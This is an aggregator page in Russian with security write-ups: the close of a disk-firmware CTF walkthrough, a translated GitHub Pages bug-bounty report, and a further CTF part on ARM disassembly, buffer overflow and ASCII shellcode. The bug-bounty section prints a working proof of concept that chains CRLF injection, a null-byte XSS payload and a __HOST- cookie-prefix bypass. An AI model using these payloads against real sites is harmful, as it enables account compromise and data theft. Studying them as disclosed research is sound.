Строка 22-23. Грузим адрес, который будет указывать на то, что мы вводим в консольник диска в R1. Инструкция

LDRB R0, [R1,#1]

берет то, что лежит в R1, добавляет единицу, лезет в память по этому адресу (если значение в квадратных скобках, сначала надо интерпретировать эти данные как адрес), берет 1 байт и сохраняет его в R0.

Строка 24-25. Идет сравнение 2го вводимого символа с 0x31. В ASCII 0x31 это "1". Если мы ввели после буквы R единичку, выполнение кода не пойдет на loc_332D1A. Позже разберем что это за место.

Строка 26-27. Добавляем к адресу наших вводимых данных двойку и сохраняем в R0. По сути, мы смещаем адрес на 2 байта вперед. Тоесть, теперь он указывает на первый символ после R1 - "R1_" (на underscore). Далее, нас ждет безусловный прыжок на функцию ahex2byte. Но, это не просто прыжок. BLX, кроме прыжка, делает еще 2 замечательные вещи - сохраняет текущий адрес PC в LR, и переключает нас в ARM режим! внутри функции ahex2byte у нас теперь 4 байта на инструкцию. Помним, что R0 является первым аргументом при вызове функции.

Дабы подитожить, вот то, как пердыдущий кусок выглядел бы в С-шном виде. Этот код не правильный. Он чисто для наглядности:

void main () {  char *input = "R10000";  if (input[1] == "1") {    &input = &input + 2;    ahex2byte(&input);  }  else {    goto: loc_332D1A;  }}  

ахекс2байт

138. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================139. ROM:00332DF8140. ROM:00332DF8141. ROM:00332DF8 ahex2byte                               ; CODE XREF: generate_key+14p142. ROM:00332DF8                 STMFD           SP!, {R4-R6,LR}143. ROM:00332DFC                 MOV             R4, R0144. ROM:00332E00                 MOV             R6, R0145. ROM:00332E04146. ROM:00332E04 loc_332E04                              ; CODE XREF: ahex2byte+6Cj147. ROM:00332E04                 LDRB            R0, [R4]148. ROM:00332E08                 CMP             R0, #0xD149. ROM:00332E0C                 BEQ             loc_332E68150. ROM:00332E10                 BL              sub_332E70151. ROM:00332E14                 CMN             R0, #1152. ROM:00332E18                 BNE             loc_332E2C153. ROM:00332E1C                 LDRB            R0, [R4]154. ROM:00332E20                 BL              sub_332E98155. ROM:00332E24                 CMN             R0, #1156. ROM:00332E28                 BEQ             locret_332E6C157. ROM:00332E2C158. ROM:00332E2C loc_332E2C                              ; CODE XREF: ahex2byte+20j159. ROM:00332E2C                 MOV             R5, R0160. ROM:00332E30                 LDRB            R0, [R4,#1]161. ROM:00332E34                 BL              sub_332E70162. ROM:00332E38                 CMN             R0, #1163. ROM:00332E3C                 BNE             loc_332E50164. ROM:00332E40                 LDRB            R0, [R4,#1]165. ROM:00332E44                 BL              sub_332E98166. ROM:00332E48                 CMN             R0, #1167. ROM:00332E4C                 BEQ             locret_332E6C168. ROM:00332E50169. ROM:00332E50 loc_332E50                              ; CODE XREF: ahex2byte+44j170. ROM:00332E50                 MOV             R5, R5,LSL#4171. ROM:00332E54                 ADD             R0, R5, R0172. ROM:00332E58                 STRB            R0, [R6]173. ROM:00332E5C                 ADD             R4, R4, #2174. ROM:00332E60                 ADD             R6, R6, #1175. ROM:00332E64                 B               loc_332E04176. ROM:00332E68 ; ---------------------------------------------------------------------------177. ROM:00332E68178. ROM:00332E68 loc_332E68                              ; CODE XREF: ahex2byte+14j179. ROM:00332E68                 STRB            R0, [R6]180. ROM:00332E6C181. ROM:00332E6C locret_332E6C                           ; CODE XREF: ahex2byte+30j182. ROM:00332E6C                                         ; ahex2byte+54j183. ROM:00332E6C                 LDMFD           SP!, {R4-R6,PC}184. ROM:00332E6C ; End of function ahex2byte185. ROM:00332E6C186. ROM:00332E70187. ROM:00332E70 ; =============== S U B R O U T I N E =======================================188. ROM:00332E70189. ROM:00332E70190. ROM:00332E70 sub_332E70                              ; CODE XREF: ahex2byte+18p191. ROM:00332E70                                         ; ahex2byte+3Cp192. ROM:00332E70                 CMP             R0, #0xD193. ROM:00332E74                 BEQ             loc_332E90194. ROM:00332E78                 CMP             R0, #0x30195. ROM:00332E7C                 BLT             loc_332E90196. ROM:00332E80                 CMP             R0, #0x39197. ROM:00332E84                 BGT             loc_332E90198. ROM:00332E88                 SUB             R0, R0, #0x30199. ROM:00332E8C                 B               locret_332E94200. ROM:00332E90 ; ---------------------------------------------------------------------------201. ROM:00332E90202. ROM:00332E90 loc_332E90                              ; CODE XREF: sub_332E70+4j203. ROM:00332E90                                         ; sub_332E70+Cj ...204. ROM:00332E90                 MVN             R0, #0205. ROM:00332E94206. ROM:00332E94 locret_332E94                           ; CODE XREF: sub_332E70+1Cj207. ROM:00332E94                 BX              LR208. ROM:00332E94 ; End of function sub_332E70209. ROM:00332E94210. ROM:00332E98211. ROM:00332E98 ; =============== S U B R O U T I N E =======================================212. ROM:00332E98213. ROM:00332E98214. ROM:00332E98 sub_332E98                              ; CODE XREF: ahex2byte+28p215. ROM:00332E98                                         ; ahex2byte+4Cp216. ROM:00332E98                 CMP             R0, #0x41217. ROM:00332E9C                 BLT             loc_332EB4218. ROM:00332EA0                 CMP             R0, #0x46219. ROM:00332EA4                 BGT             loc_332EB4220. ROM:00332EA8                 SUB             R0, R0, #0x41221. ROM:00332EAC                 ADD             R0, R0, #0xA222. ROM:00332EB0                 B               locret_332EB8223. ROM:00332EB4 ; ---------------------------------------------------------------------------224. ROM:00332EB4225. ROM:00332EB4 loc_332EB4                              ; CODE XREF: sub_332E98+4j226. ROM:00332EB4                                         ; sub_332E98+Cj227. ROM:00332EB4                 MVN             R0, #0228. ROM:00332EB8229. ROM:00332EB8 locret_332EB8                           ; CODE XREF: sub_332E98+18j230. ROM:00332EB8                 BX              LR231. ROM:00332EB8 ; End of function sub_332E98

Строка

Подробнее..

Перевод Как хакнуть Github и заработать 35000?

12.04.2021 18:13:34 | Автор: admin

Когда я нашёл эту уязвимость и сообщил о ней, она стала моим первым оплаченным баг-репортом на HackerOne. $35,000 это также самая высокая награда, которую я получил от HackerOne (и я считаю, что самая высокая оплата от GitHub на сегодня). Многие найденные ошибки, кажется, это удача и интуиция, вместе взятые. В этом посте я расскажу, как мыслил, приближаясь к цели.


Как началась история

Ковид ударил весной, в первый год старшей школы. От нечего делать между онлайн-занятиями я начал охоту за багами. Конкретно эта награда была за сообщение об уязвимости приватных страниц Github в рамках программы Баг Баунти. В частности, было и два бонуса CTF (capture the flag состязание по типу захвата флага, здесь в информационной безопасности):

  • $10000 чтение флага flag.private-org.github.io без взаимодействия с пользователем. Бонус в $5000 за то, что флаг читается с аккаунта внутри приватной организации.

  • $5000: чтение флага flag.private-org.github.io через взаимодействие с пользователем.

Поток аутентификации

Страницы GitHub размещаются в отдельном домене github.io, поэтому куки-файлы аутентификации github.com не отправляются на сервер приватных страниц. Таким образом, аутентификация частной страницы не имеет возможности определить личность пользователя без дополнительной интеграции с github.com, поэтому GitHub создал собственный поток аутентификации. И ввёл возможность существования багов. На момент отчёта этот поток выглядел так:

А теперь подробнее.

При посещении приватной страницы сервер проверяет, существует ли файл куки __Host-gh_pages_token. Если этот файл не установлен или установлен неправильно, сервер приватной страницы перенаправит на https://github.com/login. Этот начальный редирект также устанавливает nonce, который хранится в куки __Host-gh_pages_session.

Обратите внимание, что этот куки использует префикс куки __Host-, который, в теории, в качестве дополнительной защиты в глубину, предотвращает его установку из JS с родительского домена.

/login перенаправляет на /pages/auth?nonce=&page_id=&path=. Затем эта конечная точка генерирует временный куки-файл аутентификации, который она передаёт https://pages-auth.github.com/redirect в параметре token; nonce, page_id, и path присылаются аналогично.

/redirect просто перенаправляет на https://repo.org.github.io/__/auth. Эта последняя конечная точка затем устанавливает куки аутентификации для домена repo.org.github.io, __Host-gh_pages_token и __Host-gh_pages_id. Также вместе с ранее установленным __Host-gh_pages_session на валидность проверяется nonce.

На протяжении всего потока аутентификации такая информация, как исходный путь запроса и идентификатор страницы, хранится в параметрах запроса path и page_id соответственно. Nonce также передаётся в параметре nonce. Хотя поток аутентификации, возможно, немного изменился (отчасти из-за этого отчёта), общая идея остаётся прежней.

Эксплоит

CRLF возвращается

Первая уязвимость CRLF-инъекция в параметре page_id запроса https://repo.org.github.io/__/auth.

Возможно, лучший способ найти уязвимые места поиграть. Исследуя поток аутентификации, я заметил, что парсинг page_id, похоже, игнорировал пробельные символы. Интересно, что он также рендерил параметр непосредственно в заголовок Set-Cookie. К примеру, page_id=12345%20 вернул это:

Set-Cookie: __Host-gh_pages_id=12345 ; Secure; HttpOnly; path=/

Псевдокод предположительно такой:

page_id = query.page_iddo_page_lookup(to_int(page_id))set_page_id_cookie(page_id)

Другими словами, page_id преобразуется в целое число, а также отображается напрямую в заголовок Set-Cookie. Проблема была в том, что мы не можем отобразить текст напрямую. Несмотря на то, что у нас была классическая CRLF-инъекция, размещение любых непробельных символов привело к поломке парсинга целого. Мы могли бы прервать поток аутентификации, отправив page_id=12345%0d%0a%0d%0a, но, кроме интересного ответа, никакого немедленного воздействия не было.

; Secure; HttpOnly; path=/Cache-Control: privateLocation: https://83e02b43.near-dimension.github.io/X-GLB-L

Дополнительное примечание: заголовок Location: был добавлен после заголовка Set-Cookie, поэтому наш ответ Location выталкивает за пределы отправленных HTTP-заголовков. Это редирект на 302, но, несмотря на это, заголовок Location игнорируется и отображается содержимое тела.

Из грязи в князи

Немного просмотрев на GitHub Enterprise (который дал доступ к исходному коду), я заподозрил, что сервер приватных страниц реализован на Nginx OpenResty. Будучи относительно низкоуровневым, возможно, он имел проблемы с нулевыми байтами. А попытка не пытка, правильно?

Оказалось, что добавление нулевого байта прерывает парсинг целого. Другими словами, можно передать такую полезную нагрузку:

"?page_id=" + encodeURIComponent("\r\n\r\n\x00<script>alert(origin)</script>")

А вот и XSS!

Обратите внимание, что, если в заголовке есть нулевой байт, ответ будет отклонён. Таким образом, нулевой байт должен прийти в начале тела (это означает, что мы не можем выполнить атаку через инъекцию в заголовок).

Мы добились выполнения произвольного JavaScript на странице приватного домена. Единственная проблема нужен способ обойти nonce. Параметры page_id и path известны, а nonce не позволяет нам отправлять жертв вниз по потоку аутентификации с отравленным page_id. Нам нужно либо зафиксировать, либо спрогнозировать nonce.

Обходим nonce

Первое наблюдение поддомены одной организации могут устанавливать куки-файлы друг на друга. Так происходит потому, что *.github.io нет в публичном списке суффиксов. Таким образом установленные на private-org.github.io куки передаются на private-page.private-org.github.io.

Nonce обойти будет легко, если мы как-то сможем обойти защиту префикса __Host-. Просто установим фальшивый nonce на страницу поддомена того же уровня, значение будет передано ниже. К счастью, этот префикс не принудителен во всех браузерах...

Ну, ладно... неправильно говорить не во всех. Похоже, в смысле этого обхода уязвим только IE. Придётся постараться. А что, если атаковать сам nonce? генерация выглядит надёжной, и, если честно, криптография не моя сильная сторона. Найти обход применяемой в nonce энтропии, несмотря ни на что, это казалось маловероятным. Как же тогда зафиксировать nonce?

Вернёмся к истокам RFC. В конце концов, я наткнулся на интересную идею как нормализовать куки? В частности, как следует обращаться с куки с учётом верхнего регистра. "__HOST-" это то же самое, что "__Host-"? Легко убедиться, что в браузерах с куками разного регистра обращаются по-разному:

document.cookie = "__HOST-Test=1"; // worksdocument.cookie = "__Host-Test=1"; // fails

Оказывается, сервер приватных страниц GitHub при разборе куки-файлов игнорирует заглавные буквы. И у нас есть префиксный обход. А теперь собираем доказательство концепции атаки XSS!

<script>const id = location.search.substring("?id=".length)document.cookie = "__HOST-gh_pages_session=dea8c624-468f-4c5b-a4e6-9a32fe6b9b15; domain=.private-org.github.io";location = "https://github.com/pages/auth?nonce=dea8c624-468f-4c5b-a4e6-9a32fe6b9b15&page_id=" + id + "%0d%0a%0d%0a%00<script>alert(origin)%3c%2fscript>&path=Lw";</script>

Уже этого достаточно, чтобы заработать бонус в $5000. Но я хотел посмотреть, получится ли продвинуться дальше.

Отравление кэша

И вот ещё один недостаток дизайна выяснилось, что в ответ на конечную точку /__/auth? кэшировалось только целое значение page_id. Само по себе это безвредно: установленный этой конечной точкой токен скопирован на личную страницу и не имеет никаких других привилегий.

В то же время такая практика в проектировании несколько сомнительна. Получение токенами дополнительных привилегий потенциально может стать источником проблем безопасности.

Независимо от этого, такое кэширование лёгкий способ усугубить атаку. Поскольку он делается на разобранном целочисленном значении, успешная атака на кэш с полезной нагрузкой XSS может повлиять на других пользователей, которые даже не взаимодействовали с вредоносной нагрузкой, как показано ниже:

Злоумышленник контролирует unprivileged.org.github.io и хочет добраться до privileged.org.github.io. Он атакует поток аутентификации unprivileged.org.github.io и полезная нагрузка XSS кэшируется.

Когда привилегированный пользователь посещает unprivileged.org.github.io, он подвергается XSS атаке на домен unprivileged.org.github.io. Куки могут устанавливаться на общем родительском домене org.github.io, поэтому теперь злоумышленник может атаковать privileged.org.github.io.

Эти действия позволяют любому злоумышленнику с разрешениями на чтение приватной страницы постоянно атаковать поток аутентификации этой страницы. Ё-моё!

Публичные и приватные страницы

Чтобы получить бонус 15000 долларов, нужно выполнить эту атаку с учётной записи пользователя, которого в организации нет. И нам везёт: мы можем злоупотребить тем, что кажется ещё одной ошибкой конфигурации разделением страниц на публичные и приватные.

Ошибка в конфигурации приватных страниц позволяет публичным репозиториям также иметь свои собственные приватные страницы. После обычной аутентификации эти страницы открыты для всех. Если такая публично-приватная страница есть у организации, она доступна для чтения любому пользователю Github. Получить доступ можно так:

Это происходит, когда репозиторий приватных страниц делают публичным. Ситуация вполне правдоподобна: например, организация может изначально создать приватный репозиторий с соответствующей приватной страницей. Позже она может решить открыть исходный код проекта, изменив статус репозитория на общедоступный.

В комбинации с изложенным выше получается, что непривилегированный пользователь вне организации может с опорой на приватно-публичную страницу скомпрометировать потоки аутентификации внутренних приватных страниц.

В целом это даёт хорошее доказательство концепции, показывающее, как злоумышленник извне может использовать сотрудника организации, чтобы перейти на другие приватные страницы.

Так мы заработали максимальный бонус CTF. Устойчивость достигается отравлением кэша или другим техниками, которые мы оставим читателям в качестве упражнения.

Заключение

Этой уязвимости присвоили высокий приоритет, базовая выплата составила 20 000 долларов, а с бонусом CTF мы заработали 35 000 долларов. Довольно круто, что такая относительно малоизвестная уязвимость, как инъекция CRLF, обнаружилась на GitHub. Хотя большая часть кода написана на Ruby, некоторые компоненты, такие как аутентификация приватной страницы, написаны не на этом языке и могут быть уязвимы к низкоуровневым атакам. В общем, везде, где есть сложные взаимодействия, ошибки только ждут, чтобы мы их нашли.

Обнаруженная уязвимость кажется одной на миллион. Это как продеть нитку в иголку должен выстроиться целый ряд событий. В то же время, думаю, чтобы найти нечто подобное, требуется в меру развитая интуиция и навыки, которые как раз можно получить на курсе Этичный хакер.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 0x02

04.05.2021 12:13:46 | Автор: admin

По мотивам
Часть 0x00
Часть 0x01
Часть 0x02

Сложность

Ребятушки, наконец! После довольно длительного перерыва ко мне, в конце концов, пришло вдохновение написать последнюю, финальную и завершающую часть этого чертовски долгого цикла о взломе диска от RedBalloonSecurity. В этой части вас ждет самое сложное из имеющихся заданий. То, с чем я боролся несколько месяцев, но за что был очень щедро вознагражден. Путь к решению был тернист, и я хочу вас в него посвятить.

Сразу хочется сказать, что прочтение моей предыдущей статьи обязательно! Она расписана до мелочей. Текущая публикация пишется с учетом того, что вы прочли и поняли предыдущую.

LEVEL3

По традиции, я начну с короткого содержания раздела диска:

user@ubuntu:/media/user/LEVEL3$ file *level_3.html:                  HTML document, ASCII text, with very long lineslevel3_instructions.txt:       ASCII textfinal_level.lod.7z.encrypted:  7-zip archive data, version 0.3

Все по классике:

  1. level_3.html - файл с дампом памяти функции, которая генерирует ключ

  2. level3_instructions.txt - инструкции что и как делать

  3. final_level.lod.7z.encrypted - запароленный архив с последним файлом прошивки. Решение текущего уровня должно нас привести к паролю к этому архиву

Те, кто следит за этим циклом публикаций уже должны почуять схожесть этого уровня с предыдущим. Так оно и есть. Мы имеем дело с очень похожей задачей. Но, не все так просто :)

Наша подсказка выглядит вот так:

user@ubuntu:/media/user/LEVEL3$ cat level3_instructions.txtYou made it! I guess I wasn't the best intern...Maybe this one is better?1. Invoke the function with command R<User_Input>2. Find the key you must!!!!!level3.html provides disassembly of a memory snapshot of the key generator function.Read this. http://phrack.org/issues/66/12.html

Ха-ха. Кто-то не был лучшим интерном. В конце подсказки лежит ссылка, которая ведет на сайт phrack.org. Этот сайт заблокирован во многих организациях. Он попадает под категорию malware/viruses, но там нету ни единого плохого бинарника. Это очень старый онлайн журнал, где умельцы пишут статьи о том как что-то взломать. Наша ссылка ведет на статью о написании ASCII шеллкода для ARM процессоров.

ASCII шеллкод

Ответить на вопрос о том, что же такое шеллкод в полном обьеме, я, наверное не смогу. Но, в моей голове ответ выглядит так:

Это набор бинарных данных, который обычно используется в эксплоитах в качестве исполняемого кода. Если мы говорим об эксплоитах - их код можно логически разбить на две части:

  • Первая часть отвечает за абьюз уязвимости. То есть, это код, который использует специальные механики, такие как buffer overflow, race condition, use-after-free и тд. для того, чтоб заставить систему исполнить вторую часть эксплоита.

  • А вторая часть - это уже то, что должен исполнить процессор после того, как эксплоит получил контроль над уязвимой системой. Это и есть наш шеллкод. Он может быть очень разным. Это зависит от того, что мы хотим получить от взломанной системы. Мы можем использовать в качестве шеллкода код для скрытого майнинга крипты, запустить процесс bash и присоединить его дескрипторы через сокет к удаленному ПК (и таким образом получить шелл на взломанный комп). По сути, шеллкод это то, чем мы нагружаем процессор после взлома системы.

Стоит сказать, что такой код может быть только машинным. Потому что подсовывать высокоуровневый код, компилировать его на взломанном ПК, а потом исполнять - будет ну прям совсем изобретенным велосипедом. В процессе написания шеллкода нужно так же учитывать то, что он должен быть незаметным и маленьким по размеру. Размер имеет чуть ли не самое важное значение. Чем меньше размер - тем больше "фильтров" может пройти наш шеллкод. Об этом расскажу немного позже в процессе этой публикации.

Самая значимая часть статьи на phrack.org это ASCII. Дело в том, что очень много систем принимают в качестве пользовательского ввода как-раз таки данные в ASCII формате (наш диск не исключение - кроме текста, символов и цифр писать в консольник ничего нельзя). В статье описано несколько механик о том, как писать шеллкод, используя только числа в диапазоне от 0x20 до 0x7E. И, мало того, каждый код операции процессора разбивается на биты, и рассказывается почему одна операция проходит ASCII "фильтр", а другая нет. Статью писал истинный гений!

В этот раз, я покажу файл level_3.html целиком. Ведь он гораздо меньше, чем на предыдущем уровне.

level_3.html
001. ROM:00332D30002. ROM:00332D30 ; Segment type: Pure code003. ROM:00332D30                 AREA ROM, CODE, READWRITE, ALIGN=0004. ROM:00332D30                 ; ORG 0x332D30005. ROM:00332D30                 CODE16006. ROM:00332D30007. ROM:00332D30 ; =============== S U B R O U T I N E =======================================008. ROM:00332D30009. ROM:00332D30 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)010. ROM:00332D30 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.011. ROM:00332D30 ; The next level to reach, the key parts to print you must!012. ROM:00332D30013. ROM:00332D30 generate_key014. ROM:00332D30015. ROM:00332D30 var_A8          = -0xA8016. ROM:00332D30017. ROM:00332D30                 PUSH            {R4-R7,LR}018. ROM:00332D32                 SUB             SP, SP, #0x90019. ROM:00332D34                 MOVS            R7, R1020. ROM:00332D36                 MOVS            R4, R2021. ROM:00332D38                 MOVS            R5, R0022. ROM:00332D3A                 MOV             R1, SP023. ROM:00332D3C                 LDR             R0, =0x35A05C ; "SP: %x"024. ROM:00332D3E                 LDR             R3, =0x68B08D025. ROM:00332D40                 NOP026. ROM:00332D42                 LDR             R1, =0x6213600 ; "R"...027. ROM:00332D44                 MOV             R2, SP028. ROM:00332D46029. ROM:00332D46 loc_332D46                              ; CODE XREF: generate_key+22j030. ROM:00332D46                 LDRB            R6, [R1]031. ROM:00332D48                 ADDS            R1, R1, #1032. ROM:00332D4A                 CMP             R6, #0xD033. ROM:00332D4C                 BEQ             loc_332D54034. ROM:00332D4E                 STRB            R6, [R2]035. ROM:00332D50                 ADDS            R2, R2, #1036. ROM:00332D52                 B               loc_332D46037. ROM:00332D54 ; ---------------------------------------------------------------------------038. ROM:00332D54039. ROM:00332D54 loc_332D54                              ; CODE XREF: generate_key+1Cj040. ROM:00332D54                 SUBS            R6, #0xD041. ROM:00332D56                 STRB            R6, [R2]042. ROM:00332D58                 SUBS            R5, #0x49 ; 'I'043. ROM:00332D5A                 CMP             R5, #9044. ROM:00332D5C                 BGT             loc_332E14045. ROM:00332D5E                 LSLS            R5, R5, #1046. ROM:00332D60                 ADDS            R5, R5, #6047. ROM:00332D62                 MOV             R0, PC048. ROM:00332D64                 ADDS            R5, R0, R5049. ROM:00332D66                 LDRH            R0, [R5]050. ROM:00332D68                 ADDS            R0, R0, R5051. ROM:00332D6A                 BX              R0052. ROM:00332D6A ; ---------------------------------------------------------------------------053. ROM:00332D6C                 DCW 0x15054. ROM:00332D6E                 DCW 0xA6055. ROM:00332D70                 DCW 0xA4056. ROM:00332D72                 DCW 0xA2057. ROM:00332D74                 DCW 0xA0058. ROM:00332D76                 DCW 0x9E059. ROM:00332D78                 DCW 0x30060. ROM:00332D7A                 DCW 0x52061. ROM:00332D7C                 DCW 0x98062. ROM:00332D7E                 DCW 0xE063. ROM:00332D80 ; ---------------------------------------------------------------------------064. ROM:00332D80065. ROM:00332D80 key_part1066. ROM:00332D80                 LDR             R0, [R4]067. ROM:00332D82                 MOVS            R6, #1068. ROM:00332D84                 STR             R6, [R7]069. ROM:00332D86                 BLX             loc_332E28070. ROM:00332D86 ; ---------------------------------------------------------------------------071. ROM:00332D8A                 CODE32072. ROM:00332D8A                 DCB    0073. ROM:00332D8B                 DCB    0074. ROM:00332D8C ; ---------------------------------------------------------------------------075. ROM:00332D8C076. ROM:00332D8C key_part2077. ROM:00332D8C                 LDR             R6, [R7]078. ROM:00332D90                 CMP             R6, #1079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0081. ROM:00332D9C                 MOVEQ           R6, #1082. ROM:00332DA0                 STREQ           R6, [R7,#4]083. ROM:00332DA4                 B               loc_332E28084. ROM:00332DA8 ; ---------------------------------------------------------------------------085. ROM:00332DA8086. ROM:00332DA8 key_part3087. ROM:00332DA8                 LDR             R6, [R7]088. ROM:00332DAC                 CMP             R6, #1089. ROM:00332DB0                 LDREQ           R6, [R7,#4]090. ROM:00332DB4                 CMPEQ           R6, #1091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1093. ROM:00332DC0                 MOVEQ           R6, #1094. ROM:00332DC4                 STREQ           R6, [R7,#8]095. ROM:00332DC8                 B               loc_332E28096. ROM:00332DCC ; ---------------------------------------------------------------------------097. ROM:00332DCC098. ROM:00332DCC key_part4099. ROM:00332DCC                 LDR             R6, [R7]100. ROM:00332DD0                 CMP             R6, #1101. ROM:00332DD4                 LDREQ           R6, [R7,#4]102. ROM:00332DD8                 CMPEQ           R6, #1103. ROM:00332DDC                 LDREQ           R6, [R7,#8]104. ROM:00332DE0                 CMPEQ           R6, #1105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2107. ROM:00332DEC                 MOVEQ           R6, #1108. ROM:00332DF0                 STREQ           R6, [R7,#8]109. ROM:00332DF4                 LDR             R4, =0x35A036 ; "Key Generated: %s%s%s%s"110. ROM:00332DF8                 SUB             SP, SP, #4111. ROM:00332DFC                 STR             R0, [SP,#0xA8+var_A8]112. ROM:00332E00                 MOVS            R0, R4113. ROM:00332E04                 LDR             R4, dword_332E40+4114. ROM:00332E08                 BLX             R4115. ROM:00332E0C                 ADD             SP, SP, #4116. ROM:00332E10117. ROM:00332E10 loc_332E10                              ; CODE XREF: generate_key:loc_332E10j118. ROM:00332E10                 B               loc_332E10119. ROM:00332E14 ; ---------------------------------------------------------------------------120. ROM:00332E14                 CODE16121. ROM:00332E14122. ROM:00332E14 loc_332E14                              ; CODE XREF: generate_key+2Cj123. ROM:00332E14                 LDR             R4, =0x35A020 ; "key not generated"124. ROM:00332E16                 SUB             SP, SP, #4125. ROM:00332E18                 STR             R0, [SP,#0xA8+var_A8]126. ROM:00332E1A                 MOVS            R0, R4127. ROM:00332E1C                 LDR             R4, =0x68B08D128. ROM:00332E1E                 BLX             R4129. ROM:00332E20                 ADD             SP, SP, #4130. ROM:00332E22                 BLX             loc_332E28131. ROM:00332E26                 MOVS            R0, R0132. ROM:00332E26 ; End of function generate_key133. ROM:00332E26134. ROM:00332E28                 CODE32135. ROM:00332E28136. ROM:00332E28 loc_332E28                              ; CODE XREF: generate_key+56p137. ROM:00332E28                                         ; generate_key+74j ...138. ROM:00332E28                 ADD             SP, SP, #0xA0139. ROM:00332E2C                 LDR             LR, [SP],#4140. ROM:00332E30                 BX              LR141. ROM:00332E30 ; ---------------------------------------------------------------------------142. ROM:00332E34 dword_332E34    DCD 0x35A05C            ; DATA XREF: generate_key+Cr143. ROM:00332E38 dword_332E38    DCD 0x68B08D            ; DATA XREF: generate_key+Er144. ROM:00332E3C dword_332E3C    DCD 0x6213600           ; DATA XREF: generate_key+12r145. ROM:00332E40 dword_332E40    DCD 0x35A036, 0x68B08D  ; DATA XREF: generate_key+C4r146. ROM:00332E40                                         ; generate_key+D4r147. ROM:00332E48 dword_332E48    DCD 0x35A020            ; DATA XREF: generate_key:loc_332E14r148. ROM:00332E4C off_332E4C      DCD 0x68B08D            ; DATA XREF: generate_key+ECr149. ROM:00332E50                 DCD 0150. ROM:00332E50 ; ROM           ends151. ROM:00332E50152. ROM:00332E50                 END

Отличия

Огооо! Первый блин комом. Здесь нету функции ahex2byte. Без конвертации вводимых символов в бинарные, мы уж точно не сможем прыгнуть по адресам каждого из ключа. То есть, у нас не получится взломать этот уровень так же, как и предыдущий. Оно и не дурно - задачка то новая!

Первое, что мне сразу бросилось в глаза - строка 18. Как мы помним из предыдущей статьи, это часть Function Prologue. Но, количество памяти, которое мы выделяем для стека огромное - аж целых 0х90 байт. Если бы эта функция имела много аргументов и дохрена переменных внутри, это бы хоть как-то оправдало на столько огромную цифру. Это, друзья, наш "первый звоночек".

На строках 138-140 мы видим то же самое уменьшение стека, и прыжок на адрес, который был залинкован перед входом в функцию generate_key. Количество байт, на которое мы уменьшаем стек - 0xA0. Это на 16 байт больше того количества, на которое мы увеличивали стек сразу после входа в функцию. На предыдущем уровне, мы имели ровно такую же разницу. В общем, этот кусок говорит нам о том, что здесь мы эксплуатируем ровно такую-же уязвимость, как и на предыдущем уровне - buffer overflow. Но, заставить программу отдать ключи нам прийдется другим, более изощренным способом.

На строке 24 мы видим, что адрес нашей функции printf грузится в регистр R3. Пока что не понятно, для каких целей мы это делаем, но это, уж поверьте, стоит держать в голове :)

Строки 30-36. Здесь у нас нету отличий от предыдущего уровня - все, что мы здесь делаем это копируем наши вводимые данные на стек, и продолжаем исполнение программы когда столкнемся с символом новой строки.

Строки 40-41. Опа! А здесь мы видим две замечательные инструкции. На строке 40 мы отнимаем 0x0D от последнего вводимого символа - новой строки (тот же 0x0D). Получаем ноль. И, на строке 41, мы сохраняем этот ноль на стек в качестве последнего символа нашего ввода. Это наталкивает нас на мысль, что, если мы правильно все рассчитаем, один из байтов адреса на который вернется программа вполне себе может быть 0х00. Опять же, держим в голове. Однажды это нас спасет :)

Ну, вот и все. В остальном, программа почти идентична той, что мы имели на LEVEL2. Конечно, есть парочка непохожих вещей, но они выходят за рамки процесса взлома этого уровня.

Жалкие попытки

Как я и говорил в начале этой публикации, у меня ушло невероятно много времени, чтоб понять как взломать эту ерунду. Друзья, провальные попытки - тоже попытки. Поэтому, пройдемся по тем безуспешным шагам, которые я попробовал, но которые не увенчались успехом.

Меняем прошивку

Первая мысль была загрузить файл level_3.lod в дизассемблер, найти место, которое будет похожим на то, что я вижу в level_3.html, отредактировать пару значений, и залить прошивку обратно на диск. Я воспользовался Hopper Disassembler, и все таки нашел это место! Очень странно то, что каждая вторая строка кода была совсем не похожа на то, что я вижу в level_3.html. Возможно, это была какая-то контрольная сумма, или же логика прошивальщика seaflashlin_rbs работает специфичным образом. Так или иначе, чисто для тестов, я изменил парочку значений.

Но, когда я попытался прошить диск, утилита seaflashlin_rbs завершалась с ошибкой. И, после прошивки, мои изменения не применились.

root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -f level_3_patch.lod -d /dev/sg1 ================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 19:25:42 2021================================================================================Flashing microcode file level_3_patch.lod to /dev/sg1 .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  :  !Microcode Download to /dev/sg1 FAILURE!!!

Здесь я вообще не понял что именно стало причиной. Либо сама утилита, либо несоответствие данных в файле прошивки. В общем, решил не копать глубоко. Кое-где в голове было понимание, что этот уровень решается не так просто. Я тут же отбросил этот вариант.

Может потыкать железяку?

Немного погуглив, я понял что каждый чип (IC) имеет такую штуку как JTAG. Это своеобразный интерфейс для тестирования чипа. Через него можно отдать команду процессору остановить исполнение кода, и переключится в debug-режим. С помощью openocd можно "транслировать" debug-режимы различных чипов, и вывести порт для gdb. А уже с gdb можно попросить процессор показать определенные участки памяти, да и вообще слить всю память, которая находится в рабочем пространстве процессора. Если мы совершим подобное, мы отыщем функцию generate_key в огромном дампе памяти, и по референсам сможем найти все ключи!

Для подобной манипуляции есть парочка нюансов:

  • Нужно знать какие ножки процессора отвечают за JTAG

  • Нужно понять каким образом настроить openocd

JTAG это довольно хитрая вещь. На разных микропроцессорах он располагается на разных ножках, и сразу понять что куда подключать - практически не возможно. Это на столько не возможно, что существует такая вещь как jtagulator. Цена железяки говорит сама за себя. https://www.parallax.com/product/jtagulator/

На тыльной стороне платы был 38-пиновый разьем. Я так понял, что этот разьем используется для тестирования платы в процессе производства. На нем и должен быть наш JTAG

